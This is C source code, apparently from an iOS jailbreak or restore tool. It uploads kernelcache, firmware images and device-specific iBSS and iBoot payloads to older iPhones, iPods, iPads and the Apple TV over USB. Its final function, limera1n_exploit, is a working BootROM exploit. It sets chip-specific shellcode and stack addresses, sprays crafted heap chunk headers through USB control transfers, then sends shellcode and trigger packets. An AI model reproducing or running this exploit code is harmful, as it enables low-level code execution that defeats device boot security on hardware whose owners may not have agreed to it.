int upload_kernelcache() { struct stat buf; char kernelcache[255]; irecv_error_t error = IRECV_E_SUCCESS; memset(kernelcache, '\0', 255); memset(&buf, '\0', sizeof(buf)); snprintf(kernelcache, 254, "kernelcache.release.%c%c%c", device->model[0], device->model[1], device->model[2]); debug("Checking if kernelcache already exists\n"); if (stat(kernelcache, &buf) != 0) { if (fetch_image(kernelcache, kernelcache) < 0) { error("Unable to upload kernelcache\n"); return -1; } } debug("Resetting device counters\n"); error = irecv_reset_counters(client); if (error != IRECV_E_SUCCESS) { debug("%s\n", irecv_strerror(error)); error("Unable upload kernelcache\n"); return -1; } error = irecv_send_file(client, kernelcache, 1); if (error != IRECV_E_SUCCESS) { debug("%s\n", irecv_strerror(error)); error("Unable upload kernelcache\n"); return -1; } return 0; }
int upload_firmware_image(const char* type) { char image[255]; struct stat buf; irecv_error_t error = IRECV_E_SUCCESS; memset(image, '\0', 255); snprintf(image, 254, "%s.%s", type, device->model); debug("Checking if %s already exists\n", image); if (stat(image, &buf) != 0) { if (fetch_firmware_image(type, image) < 0) { error("Unable to upload firmware image\n"); return -1; } } debug("Resetting device counters\n"); error = irecv_reset_counters(client); if (error != IRECV_E_SUCCESS) { error("Unable to upload firmware image\n"); debug("%s\n", irecv_strerror(error)); return -1; } debug("Uploading %s to device\n", image); error = irecv_send_file(client, image, 1); if (error != IRECV_E_SUCCESS) { error("Unable to upload firmware image\n"); debug("%s\n", irecv_strerror(error)); return -1; } return 0; }
int upload_firmware_payload(const char* type) { int size = 0; const unsigned char* payload = NULL; irecv_error_t error = IRECV_E_SUCCESS; switch (device->index) { case DEVICE_APPLETV2: if (!strcmp(type, "iBSS")) { payload = iBSS_k66ap; size = sizeof(iBSS_k66ap); debug("Loaded payload for iBSS on k66ap\n0"); } /* if(!strcmp(type, "iBEC")) { payload = iBEC_k66ap; size = sizeof(iBEC_k66ap); debug("Loaded payload for iBEC on k66ap\n"); } */ if (!strcmp(type, "iBoot")) { payload = iBoot_k66ap; size = sizeof(iBoot_k66ap); debug("Loaded payload for iBoot on k66ap\n"); } break; case DEVICE_IPAD1G: if (!strcmp(type, "iBSS")) { payload = iBSS_k48ap; size = sizeof(iBSS_k48ap); debug("Loaded payload for iBSS on k48ap\n0"); } /* if(!strcmp(type, "iBEC")) { payload = iBEC_k48ap; size = sizeof(iBEC_k48ap); debug("Loaded payload for iBEC on k48ap\n"); } */ if (!strcmp(type, "iBoot")) { payload = iBoot_k48ap; size = sizeof(iBoot_k48ap); debug("Loaded payload for iBoot on k48ap\n"); } break; case DEVICE_IPHONE3GS: if (!strcmp(type, "iBSS")) { payload = iBSS_n88ap; size = sizeof(iBSS_n88ap); debug("Loaded payload for iBSS on n88ap\n"); } /* if(!strcmp(type, "iBEC")) { payload = iBEC_n88ap; size = sizeof(iBEC_n88ap); debug("Loaded payload for iBEC on n88ap\n"); } */ if (!strcmp(type, "iBoot")) { payload = iBoot_n88ap; size = sizeof(iBoot_n88ap); debug("Loaded payload for iBoot on n88ap\n"); } break; case DEVICE_IPHONE4: if (!strcmp(type, "iBSS")) { payload = iBSS_n90ap; size = sizeof(iBSS_n90ap); debug("Loaded payload for iBSS on n90ap\n"); } /* if(!strcmp(type, "iBEC")) { payload = iBEC_n90ap; size = sizeof(iBEC_n90ap); debug("Loaded payload for iBEC on n90ap\n"); } */ if (!strcmp(type, "iBoot")) { payload = iBoot_n90ap; size = sizeof(iBoot_n90ap); debug("Loaded payload for iBoot on n90ap\n"); } break; case DEVICE_IPOD2G: if (!strcmp(type, "iBSS")) { payload = iBSS_n72ap; size = sizeof(iBSS_n72ap); debug("Loaded payload for iBSS on n72ap\n"); } /* if(!strcmp(type, "iBEC")) { payload = iBEC_n72ap; size = sizeof(iBEC_n72ap); debug("Loaded payload for iBEC on n72ap\n"); } */ if (!strcmp(type, "iBoot")) { payload = iBoot_n72ap; size = sizeof(iBoot_n72ap); debug("Loaded payload for iBoot on n72ap\n"); } break; case DEVICE_IPOD3G: if (!strcmp(type, "iBSS")) { payload = iBSS_n18ap; size = sizeof(iBSS_n18ap); debug("Loaded payload for iBSS on n18ap\n"); } /* if(!strcmp(type, "iBEC")) { payload = iBEC_n18ap; size = sizeof(iBEC_n18ap); debug("Loaded payload for iBEC on n18ap\n"); } */ if (!strcmp(type, "iBoot")) { payload = iBoot_n18ap; size = sizeof(iBoot_n18ap); debug("Loaded payload for iBoot on n18ap\n"); } break; case DEVICE_IPOD4G: if (!strcmp(type, "iBSS")) { payload = iBSS_n81ap; size = sizeof(iBSS_n81ap); debug("Loaded payload for iBSS on n81ap\n"); } /* if(!strcmp(type, "iBEC")) { payload = iBEC_n81ap; size = sizeof(iBEC_n81ap); debug("Loaded payload for iBEC on n81ap\n"); } */ if (!strcmp(type, "iBoot")) { payload = iBoot_n81ap; size = sizeof(iBoot_n81ap); debug("Loaded payload for iBoot on n81ap\n"); } break; } if (payload == NULL) { error("Unable to upload firmware payload\n"); return -1; } debug("Resetting device counters\n"); error = irecv_reset_counters(client); if (error != IRECV_E_SUCCESS) { error("Unable to upload firmware payload\n"); debug("%s\n", irecv_strerror(error)); return -1; } debug("Uploading %s payload\n", type); error = irecv_send_buffer(client, (unsigned char*) payload, size, 1); if (error != IRECV_E_SUCCESS) { error("Unable to upload %s payload\n", type); return -1; } return 0; }
int limera1n_exploit(struct idevicerestore_device_t *device, irecv_client_t client) { irecv_error_t error = IRECV_E_SUCCESS; unsigned int i = 0; unsigned char buf[0x800]; unsigned char shellcode[0x800]; unsigned int max_size = 0x24000; //unsigned int load_address = 0x84000000; unsigned int stack_address = 0x84033F98; unsigned int shellcode_address = 0x84023001; unsigned int shellcode_length = 0; if (device->chip_id == 8930) { max_size = 0x2C000; stack_address = 0x8403BF9C; shellcode_address = 0x8402B001; } if (device->chip_id == 8920) { max_size = 0x24000; stack_address = 0x84033FA4; shellcode_address = 0x84023001; } memset(shellcode, 0x0, 0x800); shellcode_length = sizeof(limera1n_payload); memcpy(shellcode, limera1n_payload, sizeof(limera1n_payload)); debug("Resetting device counters\n"); error = irecv_reset_counters(client); if (error != IRECV_E_SUCCESS) { error("%s\n", irecv_strerror(error)); return -1; } memset(buf, 0xCC, 0x800); for(i = 0; i < 0x800; i += 0x40) { unsigned int* heap = (unsigned int*)(buf+i); heap[0] = 0x405; heap[1] = 0x101; heap[2] = shellcode_address; heap[3] = stack_address; } debug("Sending chunk headers\n"); irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000); memset(buf, 0xCC, 0x800); for(i = 0; i < (max_size - (0x800 * 3)); i += 0x800) { irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000); } debug("Sending exploit payload\n"); irecv_control_transfer(client, 0x21, 1, 0, 0, shellcode, 0x800, 1000); debug("Sending fake data\n"); memset(buf, 0xBB, 0x800); irecv_control_transfer(client, 0xA1, 1, 0, 0, buf, 0x800, 1000); irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 10); //debug("Executing exploit\n"); irecv_control_transfer(client, 0x21, 2, 0, 0, buf, 0, 1000); irecv_reset(client); irecv_finish_transfer(client); debug("Exploit sent\n"); debug("Reconnecting to device\n"); client = irecv_reconnect(client, 7); if (client == NULL) { debug("%s\n", irecv_strerror(error)); error("Unable to reconnect\n"); return -1; } return 0; }